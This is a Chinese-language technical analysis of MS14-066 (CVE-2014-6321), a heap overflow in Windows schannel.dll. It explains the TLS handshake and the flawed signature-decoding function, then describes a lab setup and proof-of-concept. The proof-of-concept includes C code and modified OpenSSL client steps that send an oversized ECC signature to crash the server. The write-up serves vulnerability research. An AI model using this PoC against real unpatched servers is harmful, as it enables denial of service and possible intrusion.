0×00 背景


MS14-066 (CVE-2014-6321) 是存在于Microsoft的schannel.dll中的TLS堆缓冲区溢出漏洞。下面对原理以及poc构造进行分析。

0×01 SSL/TLS原理介绍


Https是一种基于SSL/TLS的Http,所有的http数据都是在SSL/TLS协议封装之上传输的。研究Https协议原理,最终其实是研究SSL/TLS协议。SSL协议,是一种安全传输协议。TLS是SSL v3.0的升级版,目前市面上所有的Https都是用的是TLS,而不是SSL。

TLS的握手阶段是发生在TCP三次握手之后。握手实际上是一种协商的过程,对协议所必需的一些参数进行协商。TLS握手过程分为四步,过程如下:

enter image description here

Client Hello


由于客户端对一些加解密算法的支持程度不一样,因此在 TLS握手阶段,客户端要告知服务端,自己支持哪些加密算法,所以客户端需要将本地支持的加密套件的列表传送给服务端。除此之外,客户端还要产生一个随机数,这个随机数一方面需要在客户端保存,另一方面需要传送给服务端,客户端的随机数需要跟服务端产生的随机数结合起来产生后面要讲到的Master Secret。

Server Hello


服务端在接收到客户端的Client Hello之后,服务端需要将自己的证书发送给客户端。这个证书是对于服务端的一种认证。在服务端向客户端发送的证书中没有提供足够的信息的时候,还可以向客户端发送一个Server Key Exchange。

对于非常重要的保密数据,服务端还需要对客户端进行验证,以保证数据传送给了安全的合法的客户端。服务端可以向客户端发出Cerficate Request消息,要求客户端发送证书对客户端的合法性进行验证。

跟客户端一样,服务端也需要产生一个随机数发送给客户端。客户端和服务端都需要使用这两个随机数来产生Master Secret。

最后服务端会发送一个Server Hello Done消息给客户端,表示Server Hello消息结束了。

Client Key Exchange


如果服务端需要对客户端进行验证,在客户端收到服务端的Server Hello消息之后,首先需要向服务端发送客户端的证书,让服务端验证客户端的合法性。 在此之前的所有TLS握手信息都是明文传送的。在收到服务端的证书等信息之后,客户端会使用一些加密算法产生一个48个字节的Key,这个Key叫PreMaster Secret, 最终通过Master secret生成会话密钥,用来对应用数据进行加解密的。PreMaster secret使用RSA非对称加密的方式,使用服务端传过来的公钥进行加密,然后传给服务端。

接着,客户端对服务端的证书进行检查,检查证书的完整性以及证书跟服务端域名是否吻合。

ChangeCipherSpec是一个独立的协议,用于告知服务端,客户端已经切换到之前协商好的加密套件的状态,准备使用之前协商好的加密套件加密数据并传输了。

在ChangecipherSpec传输完毕之后,客户端会使用之前协商好的加密套件和会话密钥加密一段Finish的数据传送给服务端,此数据是为了在正式传输应用数据之前对刚刚握手建立起来的加解密通道进行验证。

Server Finish


服务端在接收到客户端传过来的PreMaster加密数据之后,使用私钥对这段加密数据进行解密,并对数据进行验证,也会使用跟客户端同样的方式生成会话密钥,一切准备好之后,会给客户端发送一个ChangeCipherSpec,告知客户端已经切换到协商过的加密套件状态,准备使用加密套件和会话密钥加密数据了。之后,服务端也会使用会话密钥加密后一段Finish消息发送给客户端,以验证之前通过握手建立起来的加解密通道是否成功。

根据之前的握手信息,如果客户端和服务端都能对Finish信息进行正常加解密且消息正确的被验证,则说明握手通道已经建立成功,接下来,双方可以使用上面产生的会话密钥对数据进行加密传输了。

CVE-2014-6321漏洞之所以严重,主要是在服务端配置为不需要对客户端进行验证时,可以由客户端发送Certificate Verify,最终导致服务端进行客户端的证书的合法性进行检查,触发漏洞

0×02 原理分析


根据之前Mike Czumak的分析报告,知道漏洞存在于unsigned int __stdcall DecodeSigAndReverse(const BYTE *pbEncoded, DWORD cbEncoded, void *Dst, int a4, LPCSTR lpszStructType)函数中。

enter image description here

当lpszStructType 为0x2F (X509_ECC_SIGNATURE)时,pbEncoded为指向CERT_ECC_SIGNATURE的指针,其结构如下,其中cbData为pbData指向数据的长度。

#!c
typedef struct _CERT_ECC_SIGNATURE {
    CRYPT_UINT_BLOB     r;
    CRYPT_UINT_BLOB     s;
} CERT_ECC_SIGNATURE, *PCERT_ECC_SIGNATURE;
typedef struct _CRYPTOAPI_BLOB {
                            DWORD   cbData;
    __field_bcount(cbData)  BYTE    *pbData;
} CRYPT_UINT_BLOB, *PCRYPT_UINT_BLOB;

第一次调用CryptDecodeObject获取成功解码所需要的缓冲区长度,第二次完成解码。如果能够控制解码后r或者s中的cbData大小,使其超过Dst缓冲区大小,最终就能溢出。

首先看Dst缓冲区的大小,DecodeSigAndReverse的调用点在CheckClientVerifyMessage中,Dst也就是v12,v12由SPExternalAlloc根据v11的值分配得到,而v11是由BCryptGetProperty获取的CNG对象的KeyLength属性的值,查询MSDN知道其表示Key的比特数,因此后面通过右移3位获取对应的字节数。当采用256 bit椭圆曲线数字签名算法时,v12的值为0×40。

enter image description here

对于待解码的数据缓冲区指针pbSignature和缓冲区大小cbEncoded来自 NTSTATUS __stdcall CheckClientVerifyMessage(int a1, const wchar_t *pszBlobType, int a3, int a4, UCHAR *a5, DWORD cbEncoded)的参数a5和cbEncoded。通过调试分析可以看到a5指向客户端发送的签名数据,cbEncoded是签名数据的长度,显然可以控制这部分数据。如果能够使CryptDecodeObject按照我们的意愿解码出恶意的数据就能最终触发漏洞。

enter image description here

enter image description here

0×03 环境搭建与POC构造


服务器环境的搭建


通过IIS管理器构建服务器证书,采用自签名证书,添加网站绑定https,设置ssl为忽略客户端证书。

enter image description here

enter image description here

enter image description here

通过https协议访问搭建好的网站。

enter image description here

客户端环境的搭建


在采用openssl-1.0.1j,在kali上编译运行,生成EC cert和key,命令如下:

openssl ecparam -out ec_key.pem -name prime256v1 -genkey openssl req -new -key ec_key.pem -x509 -nodes -days 365 -out cert.pem

为了能够让服务器进行客户端证书认证,修改openssl-1.0.1j/ssl/s3_clnt.c文件,每次都发送证书进行认证。修改函数int ssl3_connect(SSL *s),在Server Hello Done处理后,将s->s3->tmp.cert_req 置为1。

enter image description here

编译修改后的代码,切换当前目录为openssl-1.0.1j/apps/,通过命令./openssl s_client -connect xxx.xxx.xxx.xxx:443 -cert cert.pem -key ec_key.pem -verify 5连接服务端,在服务器端的lsass.exe进程的NTSTATUS __thiscall CSsl3TlsServerContext::DigestCertVerify(int this, unsigned __int8 *a2, unsigned int a3)函数上设置断点,可以看到触发了断点。

enter image description here

POC构造


下面构造签名部分,即CryptDecodeObject解码的数据,为了能够得到可控的解码后的数据,调用CryptEncodeObject对我们想要的数据进行编码,这样只要编码成功,CryptDecodeObject就总是可以解码成功。

#!c
BYTE* GetDecodeObject()
{
CERT_ECC_SIGNATURE sig;
    char pData[0x1000];
    memset( pData , 0xcc , 0x1000 );
    sig.r.pbData = (BYTE*)pData;
    sig.r.cbData = 0x20;
    sig.s.cbData = 0x1000;
    sig.s.pbData = (BYTE*)pData;
    DWORD cbEncoded = 0;
    if ( CryptEncodeObject( X509_ASN_ENCODING , X509_ECC_SIGNATURE , &sig , NULL , &cbEncoded ) )
    {
        unsigned char *pEnc = new unsigned char[cbEncoded];
        CryptEncodeObject( X509_ASN_ENCODING , X509_ECC_SIGNATURE , &sig , (BYTE*)pEnc , &cbEncoded );
        return pEnc;
    }
    return NULL;
}

最终得到大小为0x200e字节的数据,数据为0×30、0×82、0×20、0x0a、0×02、0×82、0×10、0×01、0×00、0xcc(连续0×1000个)、0×82、0×10、0×01、0×00、0xcc(连续0×1000个) 修改s3_clnt.c中的int ssl3_send_client_verify(SSL *s)函数,将数据发送出去。

enter image description here

对修改的代码进行编译运行,可以看到CheckClientVerifyMessage函数的a5指向我们构造的数据,cbEncoded的值为0x0000200e。

enter image description here

运行到DecodeSigAndReverse函数,其参数pbEncoded指向我们构造的数据,cbEncoded的值为0x0000200e。

enter image description here

经过CryptDecodeObject解码后,得到的CERT_ECC_SIGNATURE的r和s中的cbData都为0×1000,后续的memcpy将0×1000大小的缓冲区中数据拷到0×40大小的缓冲区,导致了溢出,最终触发异常。

enter image description here

enter image description here

enter image description here